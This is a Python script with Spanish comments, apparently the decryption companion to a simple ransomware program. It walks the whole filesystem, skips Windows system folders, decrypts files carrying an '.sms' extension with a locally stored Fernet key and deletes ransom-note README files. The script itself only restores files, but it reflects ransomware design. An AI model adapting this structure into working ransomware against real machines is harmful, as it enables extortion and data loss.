import os from os import name,path from cryptography.fernet import Fernet # Extensión para los archivos encriptados. extension = 'sms' # Función para obtener la contraseña utiliada en el cifrado de los archivos, y almacenada en un archivo en la máquina atacada. def cargar_key(): return open('key.key', 'rb').read() # Función para descifrar los archivos afectados y elimionación de la extensión agregada durante el cifrado. def decrypt(item, key): f = Fernet(key) if item.endswith(extension): item_orig = item.rsplit('.', 1)[0] os.rename(item, item_orig) item = item_orig with open(item, 'rb') as file: encrypted_data = file.read() decrypted_data = f.decrypt(encrypted_data) with open(item, 'wb') as file: file.write(decrypted_data) if __name__ == '__main__': try: excluir_carpeta = (#Windows system directory 'Program Files', 'Program Files (x86)', 'Windows', '$Recycle.Bin', 'AppData', 'logs', ) # Obtener la contraseña utiliada para el cifrado. key = cargar_key() # Encriptación de los archivos listados. for root, dirs, files in os.walk("/"): if any(s in root for s in excluir_carpeta): pass else: for file in files: if file.endswith(extension): full_path = os.path.join(root, file) try: decrypt(full_path, key) os.remove( root + '\\README.txt') except: pass except: pass